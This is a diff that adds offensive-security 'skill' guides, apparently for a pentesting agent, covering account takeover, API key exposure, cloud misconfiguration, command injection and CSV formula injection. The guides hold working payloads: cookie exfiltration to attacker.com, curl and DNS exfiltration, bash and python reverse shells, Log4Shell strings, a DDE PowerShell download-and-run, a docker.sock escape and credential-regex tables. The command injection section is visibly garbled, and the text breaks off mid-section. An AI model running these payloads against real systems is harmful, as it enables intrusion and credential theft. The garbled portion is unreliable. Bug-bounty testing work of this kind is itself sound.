diff --git a/strix/skills/vulnerabilities/account_takeover.md b/strix/skills/vulnerabilities/account_takeover.md new file mode 100644 index 00000000..b89571b0 --- /dev/null +++ b/strix/skills/vulnerabilities/account_takeover.md @@ -0,0 +1,243 @@ +--- +name: account-takeover +description: Account takeover techniques combining auth flaws, token abuse, and multi-step attack chains +--- + +# Account Takeover (ATO) + +Account takeover chains multiple vulnerabilities to gain persistent access to another user's account. Standalone bugs (weak reset tokens, XSS, IDOR in email-change) often only achieve ATO when combined. Understanding the full ATO chain is what separates high-severity reports from informational findings. + +## Attack Surface + +**Primary Vectors** +- Password reset flows (token leakage, guessable tokens, host header injection) +- Email/username change flows (missing re-auth, IDOR) +- OAuth/SSO flows (redirect_uri bypass, state fixation, token leakage) +- Session management (fixation, weak tokens, no expiry) +- Credential-based (brute force, credential stuffing, password spraying) +- XSS → session/token exfiltration +- MFA bypass (token reuse, race conditions, backup codes) +- IDOR on account settings + +## Attack Chains + +### Password Reset Poisoning (Host Header) + +``` +POST /forgot-password +Host: attacker.com ← injected + +# Server generates: https://attacker.com/reset?token=SECRET_TOKEN +# Sends email to victim with attacker's domain +# Victim clicks → attacker receives token → ATO +``` + +Variants: +``` +Host: legit.com +X-Forwarded-Host: attacker.com ← some apps use this for URL construction + +Host: legit.com:@attacker.com ← credential confusion +Host: legit.com@attacker.com +``` + +### Password Reset Token Leakage + +**Referer header leakage** +``` +Reset link: https://app.com/reset?token=SECRET +User clicks link, page has third-party scripts +Referer: https://app.com/reset?token=SECRET sent to third party +``` + +**Frontend logging** +```javascript +// Token visible in browser history, analytics, error logs +window.analytics.track('page_view', {url: window.location.href}); +// If reset page URL contains token → token in analytics +``` + +**Predictable tokens** +``` +# Sequential: token=1337, token=1338 +# Timestamp-based: token=1620000000 +# PRNG without proper seeding: guessable from known outputs +``` + +### Email Change Without Re-authentication + +``` +# Attacker controls victim session (via XSS or stolen cookie) +# Or: CSRF on email-change endpoint +POST /account/email +new_email=attacker@evil.com +# No password confirmation required → ATO via new email → password reset +``` + +### Email Change IDOR + +``` +POST /account/email +{"user_id": VICTIM_ID, "email": "attacker@evil.com"} +# Missing authorization check → change any user's email +``` + +### Username/Email Enumeration + Credential Stuffing + +``` +# Enumerate valid accounts via timing or error differences +POST /login: "User not found" vs "Invalid password" → confirms account existence +POST /reset: "Email sent" vs "Email not registered" + +# Credential stuffing: use leaked DB credentials +# Password spraying: common passwords against enumerated accounts +``` + +### OAuth Token Leakage + +``` +# state parameter not validated +# redirect_uri bypass: +/oauth/authorize?redirect_uri=https://app.com/callback/../../../logout +/oauth/authorize?redirect_uri=https://app.com.attacker.com/callback +/oauth/authorize?redirect_uri=https://app.com/callback%20https://attacker.com + +# Token in Referer: +https://app.com/callback?code=AUTH_CODE +User clicks link to external site → Referer leaks code +``` + +### Session Fixation + +``` +# 1. Attacker gets a pre-auth session: GET /login → Set-Cookie: session=FIXED_VALUE +# 2. Attacker forces victim to use this session ID (via XSS, direct link with cookie) +# 3. Victim logs in → session elevated to authenticated +# 4. Attacker uses FIXED_VALUE session → accesses victim account +``` + +### XSS → ATO Chain + +```javascript +// 1. Find stored/reflected XSS +// 2. Exfiltrate session cookie: +fetch('//attacker.com/?c=' + document.cookie) +// 3. Or steal CSRF token and change email: +fetch('/account/email', { + method: 'POST', + headers: {'X-CSRF-Token': document.querySelector('[name=csrf]').value}, + body: 'email=attacker@evil.com' +}) +// 4. Use stolen session or new email for password reset +``` + +### 2FA/MFA Bypass for ATO + +``` +# OTP brute force (if no rate limiting) +# OTP reuse (if no single-use enforcement) +# Response manipulation: {"mfa_required": false} +# Skip MFA step: jump directly to /dashboard after /login (before /mfa) +# Backup code abuse: generate/steal backup codes +# SIM swap / SMS hijacking (social engineering telecom) +``` + +### Account Pre-hijacking + +Before victim creates account: +``` +# 1. Register with victim's email (social account merge attack) +# - If victim later logs in via OAuth with same email, may merge with attacker account +# 2. Unexpired reset token: request reset for victim's email before they register +# 3. Classic pre-hijack: register account, attacker sets password, victim "registers" via SSO +``` + +### Support/Admin ATO + +``` +# Social engineering support to change email +# Impersonating victim via email spoofing to support team +# IDV (identity verification) bypass via public info (DOB, last 4 SSN) +``` + +## Bypass Techniques + +**Token Validation Bypass** +``` +# Submit token with extra padding +token=VALID_TOKEN%00 +token=VALID_TOKEN%20 + +# Case insensitive comparison +token=VALID_TOKEN → VALID_token + +# Partial matching +token=VALID (if only first N chars checked) +``` + +**Rate Limit Bypass for OTP Brute Force** +``` +# IP rotation +# X-Forwarded-For: [changing IPs] +# Parallel requests (race condition) +# Try all OTPs in one request if batching possible +``` + +**Email Normalization Bypass** + +``` +# App stores attacker+tag@gmail.com +# Victim uses attacker@gmail.com +# Some apps normalize → same account +victim@gmail.com vs victim+anything@gmail.com +victim@GMAIL.COM vs victim@gmail.com +victim@googlemail.com vs victim@gmail.com +``` + +## Testing Methodology + +1. **Map auth flows** — Login, register, reset, email-change, OAuth, MFA, account merge +2. **Test reset token** — Entropy, expiry, single-use, host header injection, Referer leakage +3. **Test email change** — Re-auth required? IDOR? CSRF protected? +4. **Test session management** — Fixation, expiry after logout, token predictability +5. **Test OAuth** — state validation, redirect_uri variations, token in URL +6. **Test MFA** — Rate limits on OTP, reuse, response manipulation +7. **Enumerate accounts** — Error messages, timing, side channels +8. **Check pre-hijacking** — Register with victim email before they do + +## Validation + +1. Demonstrate login as victim account without knowing their password +2. Show which specific vulnerability was exploited in the chain +3. Provide step-by-step reproduction with victim account credentials/data visible +4. Show minimal-scope impact (profile data visible) without accessing sensitive personal info unnecessarily + +## False Positives + +- Token leakage to first-party analytics only +- Rate limiting prevents brute force +- Email change requires current password confirmation +- Reset token bound to IP/User-Agent +- OTP has proper single-use and expiry enforcement + +## Impact + +- Full account takeover → access to all user data +- Privilege escalation if admin account targeted +- Financial loss if payment methods accessible +- Regulatory impact (GDPR) via PII exposure + +## Pro Tips + +1. Always escalate from info-gathering to actual account access to maximize report severity +2. Password reset poisoning requires the victim to click the link — add social engineering context +3. Pre-hijacking attacks require registering before victim — test on beta/new signup flows +4. Combine email-change IDOR + password reset = ATO without needing session +5. OAuth `state` parameter missing is usually an ATO — build the chain to show it +6. Check password reset tokens from old emails (support accounts often have expired tokens stored) +7. Email normalization attacks work best on large providers (Gmail, Outlook) +8. Response manipulation for MFA (`success: true`) is often the fastest bypass + +## Summary + +ATO is about chaining weak primitives into full access. Any single auth weakness is a stepping stone: enumerate → take over email/username → trigger reset → access account. Focus on the chain, not individual bugs, and demonstrate the final access to maximize impact. diff --git a/strix/skills/vulnerabilities/api_key_exposure.md b/strix/skills/vulnerabilities/api_key_exposure.md new file mode 100644 index 00000000..c3273c41 --- /dev/null +++ b/strix/skills/vulnerabilities/api_key_exposure.md @@ -0,0 +1,229 @@ +--- +name: api-key-exposure +description: API key and secret exposure detection — finding leaked credentials in JS, repos, responses, and cloud metadata +--- + +# API Key / Secret Exposure + +API keys, tokens, and secrets found in client-side code, public repositories, error messages, or misconfigured cloud services represent immediate, high-severity findings in bug bounty. The impact depends on what the key controls — AWS keys can mean full account compromise. + +## Where Secrets Hide + +### JavaScript Files + +```javascript +// Hardcoded in source: +const API_KEY = "sk-ant-api03-xxxxx"; +var config = { apiKey: "AIzaSyXXXXXXXXXXX" }; +window._env = { STRIPE_KEY: "pk_live_XXXXX" }; +axios.defaults.headers['Authorization'] = 'Bearer eyJXXXX'; + +// In minified JS: search for patterns +// In source maps (.js.map): original source with comments +``` + +### Git Repositories + +```bash +# In current code +grep -r "api_key\|apikey\|secret\|password\|token\|bearer" --include="*.js,*.py,*.env,*.json" + +# In git history (deleted files still in history) +git log --all --full-history -- "*.env" +git show COMMIT_HASH:path/to/file +truffleHog --regex --entropy=True /path/to/repo +gitleaks detect --source . --verbose +``` + +### Configuration Files Exposed on Web + +``` +# Common paths to check: +/.env +/.env.local +/.env.production +/.env.backup +/config.php +/config.yml +/config.json +/appsettings.json +/web.config +/application.properties +/application.yml +/docker-compose.yml +/Dockerfile +/.aws/credentials +/.ssh/id_rsa +/wp-config.php +/wp-config.php.bak +/settings.py +/local_settings.py +/database.yml +/secrets.yml +``` + +### HTTP Responses + +``` +# Error responses leaking env vars or config: +HTTP 500: {"error": "...", "env": {"DATABASE_URL": "postgres://user:pass@host/db"}} + +# Debug mode enabled: +Django debug=True → full settings in error page +Laravel APP_DEBUG=true → stack trace with env vars + +# API responses: +{"user": {"stripe_secret_key": "sk_live_XXXX"}} # Accidental field inclusion +X-Debug-Token response header → Symfony profiler + +# OAuth token in response body when should be code-only +# JWT payload containing internal config +``` + +### Cloud Metadata Services + +```bash +# AWS IMDS (from SSRF or compromised server) +http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME +→ AccessKeyId, SecretAccessKey, Token + +# GCP +http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +→ Bearer token for GCP APIs + +# Azure +http://169.254.169.254/metadata/identity/oauth2/token +→ MSI token + +# Kubernetes secrets +/var/run/secrets/kubernetes.io/serviceaccount/token +``` + +### Browser Storage + +```javascript +// Check in DevTools console: +localStorage.getItem('token') +sessionStorage.getItem('apiKey') +document.cookie // Auth cookies +indexedDB // May contain cached credentials +``` + +## High-Value Key Types + +| Key Pattern | Service | Impact | +|-------------|---------|--------| +| `AKIA[A-Z0-9]{16}` | AWS Access Key | Full AWS account access | +| `sk-ant-api03-` | Anthropic | LLM API access, billing | +| `sk-[a-zA-Z0-9]{48}` | OpenAI | AI API, billing | +| `AIzaSy[0-9A-Za-z-_]{33}` | Google API | Maps, GCP, Firebase | +| `gh[pousr]_[A-Za-z0-9_]{36,}` | GitHub | Repository access, org | +| `glpat-[0-9a-zA-Z-]{20}` | GitLab | Code, CI/CD | +| `sk_live_[0-9a-zA-Z]{24}` | Stripe | Payment processing | +| `rk_live_[0-9a-zA-Z]{24}` | Stripe Restricted | Limited payment access | +| `SG\.[a-zA-Z0-9]{22}\.[a-zA-Z0-9]{43}` | SendGrid | Email sending | +| `xoxb-[0-9]{11}-[0-9]{11}-[a-zA-Z0-9]{24}` | Slack Bot | Slack workspace access | +| `[0-9]{15,16}:[a-zA-Z0-9_-]{35}` | Telegram Bot | Bot control | +| `EAACEdEose0cBA[0-9A-Za-z]+` | Facebook | FB/Instagram access | +| `[A-Za-z0-9]{8}-[A-Za-z0-9]{4}-[A-Za-z0-9]{4}` | Various UUIDs | Context-dependent | + +## Verification (Without Causing Harm) + +```bash +# AWS key - check identity only (read-only, no damage) +aws sts get-caller-identity --access-key-id AKIAXXXX --secret-access-key XXXX +# Shows: Account, UserId, ARN → proves validity + +# GitHub token +curl -H "Authorization: token ghp_XXXX" https://api.github.com/user +# Shows: username, email, org memberships + +# Stripe key (test mode only) +curl https://api.stripe.com/v1/balance -u sk_test_XXXX: +# Shows: available balance → proves validity + +# Google API key +curl "https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=TOKEN" + +# Slack token +curl -H "Authorization: Bearer xoxb-XXXX" https://slack.com/api/auth.test +``` + +**IMPORTANT**: Verify existence and scope only — do NOT: +- Make purchases, send emails, or take actions +- Access production data beyond what proves the key works +- Use keys to access systems beyond demonstrating the finding + +## OSINT / Automated Secret Scanning + +```bash +# TruffleHog (supports many sources) +trufflehog git https://github.com/target/repo +trufflehog github --org targetorg --token GITHUB_TOKEN +trufflehog s3 --bucket target-bucket + +# Gitleaks +gitleaks detect --source /path/to/repo -v +gitleaks detect --source /path/to/repo --report-path leaks.json + +# Git-secrets +git secrets --scan + +# GitHub Advanced Search (manual) +# site:github.com "target.com" "api_key" +# site:github.com "target.com" "password" +# Push protection alerts in target's public repos + +# Google Dorks +site:github.com "target.com" password +site:gitlab.com "target.com" secret_key +site:pastebin.com "target.com" api +``` + +## Testing Methodology + +1. **Spider all JS files** — katana/gospider → grep for key patterns +2. **Check common config paths** — ffuf with config-file wordlist +3. **Analyze git history** — Clone public repos, run truffleHog +4. **Test error responses** — Trigger 500 errors, check for env leakage +5. **Check localStorage/cookies** — DevTools inspection +6. **SSRF to metadata** — If SSRF exists, fetch cloud metadata +7. **Source maps** — Check for `.js.map` files with original commented source +8. **Third-party integrations** — Check requests to analytics, CDN, payment with exposed keys + +## Validation + +1. Identify the exact location where the key was found (URL, file, commit hash) +2. Verify the key is valid using a read-only API call (as above) +3. Determine the scope/permissions of the key +4. Document the potential impact (what the attacker could do with it) +5. Report and recommend immediate rotation + +## False Positives + +- Test/sandbox keys (not production) — verify environment +- Already-rotated keys (verify they're invalid before reporting) +- Public keys (asymmetric crypto) — not secret by design +- API keys for public/free-tier services with no sensitive access + +## Impact + +- AWS keys: full account compromise, data theft, cryptomining, denial of service +- Payment keys: financial fraud, customer data theft +- OAuth tokens: impersonation, account access across integrated services +- CI/CD tokens: supply chain compromise, code modification + +## Pro Tips + +1. AWS key finding = automatic critical if it has any IAM permissions — test with `sts:GetCallerIdentity` first +2. Source maps (`.js.map`) are the best-kept secret for exposed source code — always check +3. GitHub secret scanning for public repos is automated — focus on private repos and git history +4. `Authorization: Bearer` tokens in XHR requests during normal browsing are often JWTs — decode them +5. Check all third-party script domains in network tab — keys passed as URL params to analytics +6. `.env` exposure + RCE = double report or combine for critical severity +7. Commit history is permanent until force-pushed — old deleted secrets may still be there +8. Many companies have bug bounty bonuses for CI/CD or cloud key findings + +## Summary + +Secret exposure is often the highest-impact finding relative to effort. Scan JS files, check common config paths, mine git history, and verify before reporting. Rotate immediately on confirmation — the window between discovery and exploitation can be minutes. diff --git a/strix/skills/vulnerabilities/cloud_misconfig.md b/strix/skills/vulnerabilities/cloud_misconfig.md new file mode 100644 index 00000000..28d2f94d --- /dev/null +++ b/strix/skills/vulnerabilities/cloud_misconfig.md @@ -0,0 +1,295 @@ +--- +name: cloud-misconfig +description: Cloud misconfiguration testing — IAM privilege escalation, exposed metadata, CI/CD secrets, and container security +--- + +# Cloud Misconfiguration + +Cloud environments present a distinct attack surface from traditional web vulnerabilities. Misconfigured IAM policies, exposed metadata services, insecure CI/CD pipelines, and container escape paths can give attackers access to an entire cloud account. This complements the s3_bucket_misconfig.md skill. + +## AWS Misconfigurations + +### IMDSv1 Exposure via SSRF + +```bash +# If SSRF exists on EC2/ECS-hosted app: +http://169.254.169.254/latest/meta-data/ +http://169.254.169.254/latest/meta-data/iam/security-credentials/ +http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME +# Returns: AccessKeyId, SecretAccessKey, Token (temporary) + +# User data (often contains secrets): +http://169.254.169.254/latest/user-data + +# ECS task credentials: +http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI +``` + +### IAM Privilege Escalation Paths + +```bash +# Check permissions: +aws iam get-user +aws iam list-attached-user-policies --user-name USERNAME +aws iam get-policy-version --policy-arn ARN --version-id v1 + +# Escalation via Lambda: +# If you have lambda:UpdateFunctionCode → overwrite existing Lambda function +aws lambda update-function-code --function-name TARGET_FUNCTION \ + --zip-file fileb://evil-lambda.zip + +# Escalation via EC2: +# If you have ec2:RunInstances + iam:PassRole → run EC2 with privileged role +aws ec2 run-instances --image-id ami-xxx --instance-type t2.micro \ + --iam-instance-profile Name=ADMIN_ROLE --user-data file://steal-keys.sh + +# Escalation via CodeBuild: +# codebuild:StartBuild + iam:PassRole → build job with elevated role + +# Read secrets from SSM: +aws ssm get-parameter --name /prod/db/password --with-decryption +aws ssm get-parameters-by-path --path /prod/ --with-decryption --recursive + +# Read Secrets Manager: +aws secretsmanager list-secrets +aws secretsmanager get-secret-value --secret-id prod/api-keys +``` + +### Public Lambda Functions / API Gateway + +```bash +# Find exposed Lambda function URLs: +curl https://XXXXXXXX.lambda-url.us-east-1.on.aws/ + +# API Gateway endpoints: +# Check Swagger/OpenAPI exposed at /swagger, /api-docs +# x-amazon-apigateway-auth: NONE = no auth required + +# Lambda environment variables (from SSRF to metadata): +http://169.254.169.254/latest/meta-data/... +# Then use credentials to read Lambda env vars: +aws lambda get-function-configuration --function-name FUNCTION_NAME +``` + +### CloudFormation / Terraform Exposure + +```bash +# CloudFormation stacks may contain secrets in Parameters/Outputs: +aws cloudformation describe-stacks +aws cloudformation get-template --stack-name STACK_NAME + +# Terraform state files (often in S3): +s3://target-terraform/terraform.tfstate +# Contains: resource configs, sometimes plaintext secrets, database URLs + +# Check for public Terraform state: +aws s3 ls s3://target-terraform/ --no-sign-request +aws s3 cp s3://target-terraform/terraform.tfstate /tmp/ --no-sign-request +``` + +## GCP Misconfigurations + +### Metadata Service (SSRF) + +```bash +# From SSRF on GCP: +http://metadata.google.internal/computeMetadata/v1/ +http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +http://metadata.google.internal/computeMetadata/v1/project/project-id +http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env # GKE +# Header required: Metadata-Flavor: Google +``` + +### GCP IAM Misconfiguration + +```bash +# Overly permissive service account: +# roles/editor or roles/owner on default service account + +# Check SA permissions: +gcloud iam service-accounts list +gcloud projects get-iam-policy PROJECT_ID + +# Workload Identity misconfiguration → any pod can impersonate SA +# Check: metadata.google.internal accessible from all pods +``` + +## Azure Misconfigurations + +### IMDS and MSI + +```bash +# From SSRF on Azure: +http://169.254.169.254/metadata/instance?api-version=2021-02-01 +# Header: Metadata: true + +# MSI token: +http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ + +# Use token to access Azure management API: +curl -H "Authorization: Bearer TOKEN" \ + https://management.azure.com/subscriptions?api-version=2020-01-01 +``` + +### Azure Storage SAS Token Abuse + +```bash +# SAS (Shared Access Signature) tokens in URLs: +https://account.blob.core.windows.net/container/file?sv=2020-08-04&ss=b&srt=co&sp=rwdlacupitfx&se=2024-12-31... + +# If SAS token leaked (in JS, logs, error messages): +# Use it to access/modify storage beyond intended scope +# Test: can SAS token access other containers? Other operations? + +# Overly permissive SAS: sp=rwdlacupitfx = all permissions including write/delete +``` + +## Kubernetes Misconfigurations + +### Service Account Token Abuse + +```bash +# Default token mounted at: +/var/run/secrets/kubernetes.io/serviceaccount/token + +# From SSRF or container access: +TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) +curl -H "Authorization: Bearer $TOKEN" \ + https://kubernetes.default.svc/api/v1/namespaces/default/secrets + +# List all pods: +curl -H "Authorization: Bearer $TOKEN" \ + https://kubernetes.default.svc/api/v1/pods + +# Read secrets: +curl -H "Authorization: Bearer $TOKEN" \ + https://kubernetes.default.svc/api/v1/namespaces/kube-system/secrets +``` + +### RBAC Misconfigurations + +```bash +# Dangerous cluster roles: +# system:masters group members → cluster admin +# wildcard verbs: ["*"] or resources: ["*"] +# get secrets → can read all secrets in namespace + +# Check your permissions: +kubectl auth can-i --list +kubectl auth can-i get secrets --namespace kube-system +kubectl auth can-i create pods +``` + +### Exposed Kubernetes Dashboard / API + +```bash +# Exposed dashboard: +https://k8s-dashboard.target.com +http://target.com:8001 # kubectl proxy + +# Exposed API server: +https://target.com:6443 # Direct API +# Test: curl https://target.com:6443/api/v1/namespaces --insecure + +# Kubelet on 10255 (read-only, deprecated): +http://node-ip:10255/pods +http://node-ip:10255/runningpods + +# Kubelet on 10250 (authenticated): +https://node-ip:10250/exec/namespace/pod/container +``` + +## CI/CD Misconfiguration + +### GitHub Actions Secrets + +```yaml +# Secrets in env vars: +env: + AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} + +# Can be leaked via: +# Logging: echo "key=${{ secrets.SECRET }}" +# Artifact upload containing env vars +# Debug mode: ACTIONS_STEP_DEBUG=true logs all env vars +# If PR from fork can access secrets (misconfigured trigger) +``` + +### GitLab CI Exposed Variables + +```bash +# Unmasked variables in job logs +# Variables accessible to fork/external pipelines +# artifact: expose secrets in downloadable artifacts + +# Check: does the pipeline run for external MRs? +# Protected variables: only run on protected branches +``` + +### Jenkins Misconfiguration + +```bash +# Script console (RCE if accessible): +https://jenkins.target.com/script +# POST: script=println "id".execute().text + +# Credentials endpoint: +https://jenkins.target.com/credentials/ +https://jenkins.target.com/credential-store/ + +# API with anon access: +https://jenkins.target.com/api/json +https://jenkins.target.com/job/JOB_NAME/api/json +``` + +## Container Escape Paths + +```bash +# Privileged container: +docker run --privileged → mount host filesystem +# Escape: mount host disk and write to /etc/cron.d + +# hostPath volume mounted: +# If /host is mounted → access host filesystem +ls /host/etc/passwd + +# docker.sock mounted: +# /var/run/docker.sock → create privileged container on host +curl --unix-socket /var/run/docker.sock http://localhost/containers/json +curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/create \ + -d '{"Image":"ubuntu","Binds":["/:/host"],"Privileged":true}' + +# CAP_SYS_ADMIN: +# Mount host filesystem via cgroups notification_on_release +``` + +## Testing Methodology + +1. **SSRF → Metadata** — Always try cloud metadata endpoints when SSRF found +2. **Leaked credentials** — Check JS, config files, git history for cloud credentials +3. **IAM permission enumeration** — With any AWS key, enumerate all permissions +4. **Storage enumeration** — S3/GCS/Azure blob scanning +5. **Kubernetes** — SA token abuse, RBAC review, exposed APIs +6. **CI/CD** — Check pipeline configs for secret exposure, external PR access +7. **Container** — Check if running privileged, docker.sock mounted, hostPath + +## Validation + +1. For SSRF → metadata: show the IAM credentials returned +2. For IAM escalation: show the escalation path and resulting access level +3. For exposed storage: list bucket contents or download non-sensitive file +4. Use `sts:GetCallerIdentity` to confirm AWS credential scope + +## Pro Tips + +1. IMDSv2 requires a PUT request for token — check if SSRF can make PUT requests +2. AWS credentials from metadata are temporary (STS) — they expire in 6h +3. `pacu` is AWS exploitation framework for post-IAM-access exploitation +4. Terraform state in S3 is the most common cloud secret leakage vector +5. `enumerate-iam` automates AWS permission enumeration from compromised credentials +6. Check `iam:PassRole` — it's the most common privilege escalation primitive in AWS +7. Kubernetes default service account often has excessive permissions in managed clusters + +## Summary + +Cloud misconfigurations compound traditional vulnerabilities: SSRF becomes credential theft, leaked IAM keys become full account compromise, and exposed CI/CD pipelines become supply chain attacks. Test cloud metadata endpoints whenever SSRF exists, enumerate storage buckets, and review IAM policies for privilege escalation paths. diff --git a/strix/skills/vulnerabilities/command_injection.md b/strix/skills/vulnerabilities/command_injection.md new file mode 100644 index 00000000..93ba7a9f --- /dev/null +++ b/strix/skills/vulnerabilities/command_injection.md @@ -0,0 +1,245 @@ +--- +name: command-injection +description: OS command injection testing covering all injection contexts, bypass techniques, and blind exfiltration +--- + +# Command Injection + +OS command injection occurs when user-controlled input is passed to a shell interpreter without proper sanitization. Even single characters (`;`, `|`, `` ` ``) can pivot a web request into full RCE. Modern apps hide injection in non-obvious places: image processors, archive handlers, DNS lookups, and CI/CD pipelines. + +## Attack Surface + +**Direct Execution Sinks** +- `system()`, `exec()`, `popen()`, `shell_exec()`, `passthru()` (PHP) +- `subprocess.run(shell=True)`, `os.system()`, `os.popen()` (Python) +- `Runtime.exec()` with string concat (Java), `child_process.exec()` (Node) +- `backtick operators`, `$()` expansion in shell scripts + +**Indirect / Feature-Level** +- Image/video processing: ImageMagick, ffmpeg, exiftool +- Archive creation/extraction: zip, tar, 7z with filenames +- PDF generation: wkhtmltopdf, phantomjs, puppeteer CLI wrappers +- Network tools: ping, nslookup, dig, curl, wget invoked server-side +- Git operations: `git clone`, `git archive` with attacker-controlled URLs +- Log shipping and monitoring agent configs +- CI/CD pipelines parsing user data in build steps + +**Input Vectors** +- Filename, username, email, hostname, IP address, domain fields +- File contents (config files, uploaded scripts, CSV columns) +- HTTP headers used in shell scripts (User-Agent, Referer, X-Forwarded-For) +- URL path segments used in file operations + +## Injection Operators + +| Operator | Behavior | Example | +|----------|----------|---------| +| `;` | Sequential execution | `ping host; id` | +| `&&` | Execute if previous succeeds | `ping host && id` | +| `\|\|` | Execute if previous fails | `ping FAIL \|\| id` | +| `\|` | Pipe output | `echo x \| id` | +| `` ` `` | Command substitution (bash) | `` ping `id` `` | +| `$()` | Command substitution | `ping $(id)` | +| `\n` / `%0a` | Newline injection in args | `ping -c1\nid` | +| `>` / `>>` | Output redirection | `id > /tmp/x` | + +## Key Vulnerabilities + +### In-Band (Output Reflected) + +Direct output in response body or error messages: +``` +; cat /etc/passwd +| whoami +$(id) +`uname -a` +& net user (Windows) +``` + +### Blind Command Injection + +No output in response — use timing or out-of-band: + +**Timing** +``` +; sleep 10 +& ping -c 10 127.0.0.1 +; timeout /t 10 (Windows) +``` + +**DNS/HTTP exfiltration (OAST)** +``` +; curl http://BURP_COLLABORATOR/?x=$(whoami|base64) +; nslookup $(cat /etc/hostname).attacker.tld +; wget -q -O- http://attacker/$(id|base64 -w0) +``` + +**File write** +``` +; id > /var/www/html/output.txt +; whoami >> /tmp/x && curl http://attacker/$(cat /tmp/x|base64) +``` + +### Argument Injection + +When the command is fixed but arguments are user-controlled: +``` +# curl --upload-file attacker.php http://internal/ +# git clone git://attacker --upload-pack=id +# find . -name USER_INPUT -exec id \; +# ImageMagick: "| id #" as filename (ImageMagick CVE-2016-3714) +# ffmpeg: input file as -i http://attacker/ssrf.m3u8 +``` + +### Windows-Specific + +``` +& whoami +| net user +%0a dir +cmd /c whoami +powershell -c "whoami" +``` + +## Bypass Techniques + +**Whitespace Alternatives** +```bash +{id} # brace expansion +$IFS # internal field separator +${IFS} +X=$'\x20'&&id # hex space +cat /var/www/html/$(date +%s).txt + +# Reverse shell via bash +bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1' + +# Reverse shell via python +python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker",4444));[os.dup2(s.fileno(),x) for x in(0,1,2)];subprocess.run(["/bin/bash"])' +``` + +## Special Cases + +### ImageMagick (CVE-2016-3714 / ImageTragick) +``` +push graphic-context +viewbox 0 0 640 480 +fill 'url(https://example.com/|id > /tmp/exec)' +pop graphic-context +``` + +### PHP Mail Function +```php +// mail($to, $subject, $body, $headers, $extra_params) +// extra_params = "-f attacker@x.tld -be ${run{/usr/bin/id}{>/tmp/x}}" +``` + +### Log4Shell (CVE-2021-44228) +``` +${jndi:ldap://attacker.tld/a} +${${lower:j}ndi:ldap://attacker/a} +${${::-j}${::-n}${::-d}${::-i}:ldap://attacker/a} +``` + +## Testing Methodology + +1. **Map execution sinks** — Find every feature that invokes system tools (image ops, archives, network checks, export functions) +2. **Inject separators** — Test `;`, `|`, `&&`, `||`, newlines in every input field +3. **Timing oracle** — `sleep 5` / `ping -c 5 127.0.0.1` to confirm blind injection +4. **OAST exfiltration** — DNS/HTTP callback with `whoami` or hostname +5. **Enumerate context** — User, groups, env vars, filesystem layout +6. **Argument injection** — When command is fixed, test flags and special-meaning values +7. **OS detection** — `uname -a` (Linux) vs `ver` (Windows) for platform-specific payloads + +## Validation + +1. Prove command execution with time-based oracle (reliable, repeatable delay differential) +2. Confirm via OAST callback showing server-initiated DNS/HTTP request with data +3. Show `id`/`whoami` output or `/etc/hostname` via OOB for identity context +4. Stop at confirming execution — avoid file reads of sensitive data or reverse shells unless scope allows + +## False Positives + +- Time delays from network/DB/processing latency unrelated to injected sleep +- DNS lookups for legitimate reasons +- Shell metacharacters in inputs that are properly escaped before execution +- Use of parameterized command execution APIs (e.g., `subprocess.run(list_form)`) + +## Impact + +- Direct RCE as web server user or container process +- Credential/secret exfiltration from environment and config files +- Lateral movement to internal services via network access +- Container escape, cloud metadata access, and persistence + +## Pro Tips + +1. Try newline (`%0a`) injection first — often forgotten in blacklists targeting `;` and `|` +2. `$IFS` beats space filters in Bash; use it liberally +3. ImageMagick/ffmpeg features are goldmines for blind injection — read their parsers +4. Argument injection is more reliable than operator injection in newer apps +5. Use Burp Collaborator/interactsh for OAST in blind scenarios +6. Glob expansion (`/???/??/id`) bypasses keyword filters without encoding +7. When output is blocked, write to web root or cron-reachable path for async retrieval +8. Always test Windows equivalents (`&`, `|`, `cmd /c`) on ASP.NET / IIS stacks + +## Summary + +Command injection turns string concatenation into shell access. Any framework that builds a shell command with user data is vulnerable. Test separators, use OAST for blind cases, and always check indirect sinks like image processors and archive handlers. diff --git a/strix/skills/vulnerabilities/csv_formula_injection.md b/strix/skills/vulnerabilities/csv_formula_injection.md new file mode 100644 index 00000000..e0fa4966 --- /dev/null +++ b/strix/skills/vulnerabilities/csv_formula_injection.md @@ -0,0 +1,163 @@ +--- +name: csv-formula-injection +description: CSV/spreadsheet formula injection in export features that execute commands in Excel, LibreOffice, and Google Sheets +--- + +# CSV / Formula Injection + +CSV injection (also called Formula Injection or Excel Macro Injection) occurs when user-supplied data is included in CSV, XLSX, ODS, or similar spreadsheet exports without sanitization. When the exported file is opened in a spreadsheet application, injected formulas execute — potentially exfiltrating data, making outbound connections, or (in some cases) executing local commands. + +## Attack Surface + +**Export Features** +- "Export to CSV" / "Download as Excel" functionality +- Report generation: financial reports, user lists, analytics exports +- Audit logs exported to spreadsheet +- Support ticket exports +- Contact/customer data exports + +**Input Vectors** +- Any field that ends up in an exported spreadsheet: + - Name, company, address fields + - Comment/description fields + - Subject/title fields + - Username, email + - Any user-controlled data in admin/reporting exports + +## Injection Characters + +Spreadsheet applications treat cells starting with these characters as formulas: +``` += → formula start (most common) ++ → formula start +- → formula start +@ → formula start (Excel) +\t → tab character (can misparse columns) +\r → carriage return (can inject new rows) +\n → newline (can inject new rows) +``` + +## Payload Examples + +### OOXML/DDE (Dynamic Data Exchange) — Windows RCE + +``` +=cmd|' /C calc'!A0 +=cmd|' /C whoami > C:\Users\Public\pwned.txt'!A0 +=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc'!A0 + +# DDE in Excel +=DDE("cmd","/c calc","1") +=DDE("cmd","/c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/x.ps1')","1") +``` + +### Data Exfiltration (Universal — works in Google Sheets, Excel Online) + +``` +# Exfiltrate current document data via WEBSERVICE/IMPORTDATA 